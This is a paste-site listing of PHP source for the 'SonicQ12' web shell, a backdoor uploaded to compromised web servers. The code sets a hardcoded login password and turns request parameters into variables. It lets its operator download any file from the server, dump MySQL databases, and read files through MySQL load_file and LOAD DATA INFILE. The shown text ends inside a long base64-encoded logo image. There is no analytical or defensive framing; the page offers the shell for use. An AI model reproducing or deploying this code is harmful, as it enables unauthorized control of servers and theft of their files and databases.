SonicQ12 - Shells-Center.Com

SUBMITTED BY: Guest

DATE: Sept. 6, 2014, 1:25 p.m.

FORMAT: PHP

SIZE: 165.5 kB

Raw Download

HITS: 504

Report
  1. <?php
  2. /////////////////////////////////////////////////////
  3. //////////// Developed by SonicQ12 /////////////
  4. ///////////////////////////////////////////////////
  5. error_reporting(!E_ALL);
  6. @set_time_limit(0);
  7. @set_magic_quotes_runtime(0);
  8. session_start();
  9. ob_start();
  10. $mtime = explode(' ', microtime());
  11. $starttime = $mtime[1] + $mtime[0];
  12. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
  13. define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
  14. //define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
  15. define('IS_COM', class_exists('COM') ? 1 : 0 );
  16. define('IS_GPC', get_magic_quotes_gpc());
  17. $dis_func = get_cfg_var('disable_functions');
  18. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
  20. foreach(array('_GET','_POST') as $_request) {
  21. foreach($$_request as $_key => $_value) {
  22. if ($_key{0} != '_') {
  23. if (IS_GPC) {
  24. $_value = s_array($_value);
  25. }
  26. $$_key = $_value;
  27. }
  28. }
  29. }
  30. /*================= Info Login ================*/
  32. $sonic['pass'] = str_rot13(md5(base64_encode(sha1($_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_HOST']))));
  33. $admin = array();
  34. $admin['pass'] = 'sonicq12'; // SonicQ12 Pass
  35. $admin['check'] = 1;
  36. $admin['cookiepre'] = '';
  37. $admin['cookiedomain'] = '';
  38. $admin['cookiepath'] = '/';
  39. $admin['cookielife'] = 86400;
  40. /*===============================================*/
  41. if ($charset == 'utf8') {
  42. header("content-Type: text/html; charset=utf-8");
  43. } elseif ($charset == 'big5') {
  44. header("content-Type: text/html; charset=big5");
  45. } elseif ($charset == 'gbk') {
  46. header("content-Type: text/html; charset=gbk");
  47. } elseif ($charset == 'latin1') {
  48. header("content-Type: text/html; charset=iso-8859-2");
  49. }
  53. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
  55. $timestamp = time();
  59. /*===================== Login =====================*/
  61. if ($action == "logout") {
  62. scookie('SonicQ12', '', -86400 * 365);
  63. p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
  64. p('<body style="background:#000">');
  65. exit;
  66. }
  68. if($admin['check']){
  70. if ($_POST['login']) {
  72. if ($admin['pass'] == $password) {
  73. scookie('SonicQ12', $password);
  74. p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
  75. p('<body style="background:#000"><BR><BR><div align=center><div style="color:#00e400;">Hello SonicQ12<br /><img src=http://i.imgur.com/UwF8H.gif></div></div>');
  76. exit;
  77. }
  78. else{
  79. echo $err_mess;
  80. }}
  81. if ($_SESSION['SonicQ12']) {
  82. if ($_SESSION['SonicQ12'] != $admin['pass']) {
  83. loginpage();
  84. }
  85. } else {
  86. loginpage();
  87. }
  88. }
  89. /*===================== Login =====================*/
  93. $errmsg = '';
  97. if ($action == 'phpinfo') {
  99. if (IS_PHPINFO) {
  101. phpinfo();
  103. } else {
  105. $errmsg = 'phpinfo() function has non-permissible';
  107. }
  109. }
  115. if ($doing == 'downfile' && $thefile) {
  117. if (!@file_exists($thefile)) {
  119. $errmsg = 'The file you want Downloadable was nonexistent';
  121. } else {
  123. $fileinfo = pathinfo($thefile);
  125. header('Content-type: application/x-'.$fileinfo['extension']);
  127. header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  129. header('Content-Length: '.filesize($thefile));
  131. @readfile($thefile);
  133. exit;
  135. }
  137. }
  143. if ($doing == 'backupmysql' && !$saveasfile) {
  144. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  145. $table = array_flip($table);
  146. $result = q("SHOW tables");
  147. if (!$result) p('<h2>'.mysql_error().'</h2>');
  148. $filename = basename($_SERVER['HTTP_HOST'].'sql.gz');
  149. header('Content-type: application/unknown');
  150. header('Content-Disposition: attachment; filename='.$filename);
  151. $mysqldata = '';
  152. while ($currow = mysql_fetch_array($result)) {
  153. if (isset($table[$currow[0]])) {
  154. $mysqldata .= sqldumptable($currow[0]);
  155. }
  156. }
  157. mysql_close();
  158. exit;
  159. }
  160. if($doing=='mysqldown'){
  161. if (!$dbname) {
  162. $errmsg = 'Please input dbname';
  163. } else {
  164. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  165. if (!file_exists($mysqldlfile)) {
  166. $errmsg = 'The file you want Downloadable was nonexistent';
  167. } else {
  168. $result = q("select load_file('$mysqldlfile');");
  169. if(!$result){
  170. q("DROP TABLE IF EXISTS tmp_angel;");
  171. q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
  172. q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
  173. $result = q("select content from tmp_angel");
  174. q("DROP TABLE tmp_angel");
  175. }
  176. $row = @mysql_fetch_array($result);
  177. if (!$row) {
  178. $errmsg = 'Load file failed '.mysql_error();
  179. } else {
  180. $fileinfo = pathinfo($mysqldlfile);
  181. header('Content-type: application/x-'.$fileinfo['extension']);
  182. header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  183. header("Accept-Length: ".strlen($row[0]));
  184. echo $row[0];
  185. exit;
  186. }
  187. }
  188. }
  189. }
  190. ?>
  192. <html>
  194. <head>
  196. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  197. <link rel="icon" href="http://thumbs.dreamstime.com/thumb_411/12455464854iEKQ2.jpg" type="image/x-icon">
  198. <title><?php echo str_replace('.','','SonicQ12 - Sh3ll');?></title>
  199. <style type="text/css">
  201. body,td{font: 10pt Tahoma;color:#f4f4f4;line-height: 16px;}
  204. img {outline:none;}
  205. a {color: #00e400;text-decoration:none;}
  207. a:hover{color: #f00;text-decoration:underline;}
  209. .alt1 td{border:none; padding:15px 15px 0px 15px;}
  211. .alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
  213. .focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
  215. .fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
  217. .fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#000;padding:5px 10px 5px 5px;}
  219. .head td{border-top:1px solid #00e400;border-bottom:1px solid #00e400;background:#000;padding:5px 10px 5px 5px;font-weight:bold;}
  221. .head_small td{background:#000;}
  223. .head td span{font-weight:normal;}
  225. form{margin:0;padding:0;}
  227. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  229. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  231. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  233. input, textarea, button
  234. {
  235. font-size: 9pt;
  236. color: #ccc;
  237. font-family: verdana, sans-serif;
  238. background: #000;
  239. border: 1px solid #00e400;
  241. }
  242. select
  244. {
  246. font-size: 8pt;
  248. font-weight: normal;
  250. color: #ccc;
  252. font-family: verdana, sans-serif;
  254. background-color: #000;
  256. }
  258. @-webkit-keyframes sonicq12{
  259. 1% {opacity: 0.0;}
  260. 25% {opacity: 0.3;}
  261. 50% {opacity: 0.1;}
  262. 75% {opacity: 0.7;}
  263. 100 {opacity: 1;}
  264. }
  267. </style>
  269. <script type="text/javascript">
  271. function CheckAll(form) {
  273. for(var i=0;i<form.elements.length;i++) {
  275. var e = form.elements[i];
  277. if (e.name != 'chkall')
  279. e.checked = form.chkall.checked;
  281. }
  283. }
  285. function $(id) {
  287. return document.getElementById(id);
  289. }
  291. function goaction(act){
  293. $('goaction').action.value=act;
  295. $('goaction').submit();
  297. }
  299. </script>
  301. </head>
  303. <body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black style="background:#000">
  309. <div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
  311. <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
  313. <tr>
  315. <td align="center" valign=center>
  317. <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
  319. Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
  321. </div>
  323. </td>
  325. </tr>
  327. </table>
  329. </div>
  331. <script>
  333. var ld=(document.all);
  335. var ns4=document.layers;
  337. var ns6=document.getElementById&&!document.all;
  339. var ie4=document.all;
  341. if (ns4)
  343. ld=document.loading;
  345. else if (ns6)
  347. ld=document.getElementById("loading").style;
  349. else if (ie4)
  351. ld=document.all.loading.style;
  353. function init()
  355. {
  357. if(ns4){ld.visibility="hidden";}
  359. else if (ns6||ie4) ld.display="none";
  361. }
  363. </script>
  373. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  375. <tr class="head_small">
  377. <td width=100%>
  379. <table width=100%><tr class="head_small"><td width="150px">
  380. <a href="<?php $self;?>"><img style="-webkit-animation: sonicq12 1s infinite" src="data:image/jpg;base64,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